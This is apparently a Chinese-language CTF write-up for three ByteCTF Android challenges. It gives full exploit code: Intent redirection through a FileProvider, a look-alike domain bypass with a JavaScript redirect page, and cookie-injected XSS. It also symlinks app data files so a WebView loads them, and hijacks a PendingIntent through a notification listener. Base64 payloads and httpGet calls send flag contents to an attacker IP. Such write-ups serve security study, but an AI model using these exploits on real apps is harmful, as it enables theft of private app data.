注意
本文最后更新于 2024-02-25,文中内容可能已过时。
babydroid
Intent 重定向
我们无法直接访问 file provider, 但是可以通过 Intent 重定向来窃取 flag 文件,代码来自 ppt。
通过 httpGet 请求把 flag 带出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
httpGet("run");
try {
if (getIntent() != null && getIntent().getAction() != null && getIntent().getAction().equals("evil")){
Uri data = getIntent().getData();
try {
InputStream i = getContentResolver().openInputStream(data);
byte[] bytes = new byte[0];
bytes = new byte[i.available()];
i.read(bytes);
String str = new String(bytes);
httpGet(str);
} catch (IOException e) {
e.printStackTrace();
}
}else {
Intent next= new Intent("evil");
next.setClassName(getPackageName(), MainActivity.class.getName());
next.setData(Uri.parse("content://androidx.core.content.FileProvider/" + "root/data/data/com.bytectf.babydroid/files/flag"));
next.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent", next);
startActivity(intent);
}
} catch (Exception e){
httpGet(e.getMessage());
}
setContentView(R.layout.activity_main);
}
|
easydroid
配置文件中只有 MainActivity 是能够被外部调用的,所以考虑攻击 MainActivity
考虑如何绕过限制,由于检测不严格,所以我们可以用 http://toutiao.com.wjhwjhn.com 这样的形式来绕过,让程序访问到我们的页面。
而在内部中对 intent 进行了单独的处理,我们可以编写一个跳转页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| <html>
<body>
<script>
function GetQueryString(name)
{
var reg = new RegExp("(^|&)"+ name +"=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if(r!=null)return unescape(r[2]); return null;
}
function doitjs()
{
location.href = decodeURIComponent(GetQueryString('url'));
}
setTimeout(doitjs, 0);
</script>
</body>
</html>
|
然后传参使其跳转到 Intent 重定向代码,从而从程序内部访问到程序中的 TestActivity。
从这里可以任意访问由 file:// 协议的页面
从这里开始卡了很久
刚开始的想的是,在读取自身 “file://” 来读取到软连接的 flag 文件,通过看 logcat 内容后,发现这样会引起错误,不允许使用 “file://” 来读取。
于是考虑 ppt 中的打法:用一个页面来 setCookie,把恶意代码写入到 cookie 文件中,然后把软链接 html 扩展名的文件到 cookie 文件,用 webview 执行的时候就会执行我们写入的恶意 xss 代码,而且可以通过代码把页面内容带出(flag)。
set 页面(把页面内容带出,并且传参到我指定的位置,我在服务器上开启一个 flask 服务就可以记录日志)
1
2
3
4
5
| <html>
<body>
<script>document.cookie = "x = '<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMC4xNzMuMTQ2LjEyOjIzMzMvP2Nvb2tpZT0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5vdXRlckhUTUwpOw=='))\">'"</script>
</body>
</html>
|
之后再访问 Cookie 文件即可带出。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
| private void launch(String url) throws URISyntaxException {
Intent i = new Intent();
i.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity");
i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
Intent i2 = new Intent();
i2.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.TestActivity");
i2.putExtra("url", url);
String uri_data = i2.toUri(Intent.URI_INTENT_SCHEME);
Intent v3 = Intent.parseUri(uri_data, Intent.URI_INTENT_SCHEME);
Log.v("message", new String(Uri.parse(uri_data).getScheme().equals("intent") ? "Ture intent" : "Flase intent"));
i.setData(Uri.parse("http://toutiao.com.wjhwjhn.com/jump.html?url=" + Uri.encode(uri_data)));
startActivity(i);
}
private String symlink(){
try {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies";
Log.v("message", cookies);
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Throwable th){
throw new RuntimeException(th);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
httpGet("run");
try {
launch("http://toutiao.com.wjhwjhn.com/set.html");
new Handler().postDelayed(() -> {
try {
launch("file://" + symlink());
} catch (URISyntaxException e) {
httpGet(e.getMessage());
}
}, 35000);
} catch (Exception e){
httpGet(e.getMessage());
}
}
|
mediumdroid
和第二题类似,区别在于 flag 类似第一题,放置在了文件中,而不是 Cookie,我们无法使用 cookie 的形式来在那个文件中插入一个 xss。
同时增加了一个 jsi,使得我们在 java 代码中可以调用 Te3t
这里的 PendingIntent.getBroadcast(this, 0, new Intent(), 0)实现存在问题,存在 BroadcastAnywhere 的漏洞,我们可以 NotificationListenerService 进行监听,并且用原来的内容进行广播,广播给追加 flag 的代码处,在 flag 文件中写入 xss 恶意代码,然后再访问带出。
监听代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
| package com.bytectf.pwnmediumdroid;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import android.app.Notification;
import android.app.Notification.Action;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Bitmap;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.text.TextUtils;
import android.util.Log;
public class MagicService extends NotificationListenerService{
@Override
public void onCreate(){
super.onCreate();
Log.v("message","onCreate");
}
@Override
public void onListenerConnected(){
super.onListenerConnected();
Log.v("message","onListenerConnected");
}
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Log.v("message", sbn.getPackageName());
if (!"com.bytectf.mediumdroid".equals(sbn.getPackageName())) {
return;
}
Notification notification = sbn.getNotification();
PendingIntent pendingIntent = null;
Bundle extras = notification.extras;
if (extras != null) {
String title = extras.getString(Notification.EXTRA_TITLE, "");
String content = extras.getString(Notification.EXTRA_TEXT, "");
Log.v("message", "titile: " + title + " content: " + content);
try {
pendingIntent = notification.contentIntent;
String xss = "<img src=\"x\" onerror=\"eval(atob('bmV3IEltYWdlKCkuc3JjID0gImh0dHA6Ly8xMDcuMTczLjE0Ni4xMjoyMzMzLz9jb29raWU9IiArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQub3V0ZXJIVE1MKTs='))\">";
Intent intent = new Intent();
intent.setAction("com.bytectf.SET_FLAG");
intent.setPackage("com.bytectf.mediumdroid");
//intent.setClassName("com.bytectf.mediumdroid", "com.bytectf.mediumdroid.FlagReceiver");
intent.putExtra("flag", xss);
pendingIntent.send(this, 0, intent);
} catch (Exception e) {
e.printStackTrace();
}
}
super.onNotificationPosted(sbn);
}
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
super.onNotificationRemoved(sbn);
Log.v("message", "onNotificationRemoved");
}
}
|
主要逻辑代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| private String symlink(){
try {
String root = getApplicationInfo().dataDir;
String symlink = root + "/symlink.html";
String flag_addr = getPackageManager().getApplicationInfo("com.bytectf.mediumdroid", 0).dataDir + "/files/flag";
Log.v("message", flag_addr);
Runtime.getRuntime().exec("rm " + symlink).waitFor();
Runtime.getRuntime().exec("ln -s " + flag_addr + " " + symlink).waitFor();
Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();
return symlink;
} catch (Throwable th){
throw new RuntimeException(th);
}
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
httpGet("run");
try {
startService(new Intent(this, MagicService.class));
launch("http://toutiao.com.wjhwjhn.com/jsi.html");
Log.v("message", isNotificationListenerEnabled(this) ? "Get" : "No");
new Handler().postDelayed(() -> {
try {
launch("file://" + symlink());
} catch (URISyntaxException e) {
httpGet(e.getMessage());
}
}, 5000);
}catch (Exception e){
httpGet(e.getMessage());
}
}
|
先通过广播把恶意 xss 代码写入到 flag 文件中,再用 file 进行访问,其中 jsi.html 代码负责调用 java 层的 PendingIntent.getBroadcast 来触发监听代码。
1
2
3
4
5
6
| <html>
<body>
<u>jsi test</u>
<script>jsi.Te3t('test1', 'test2');</script>
</body>
</html>
|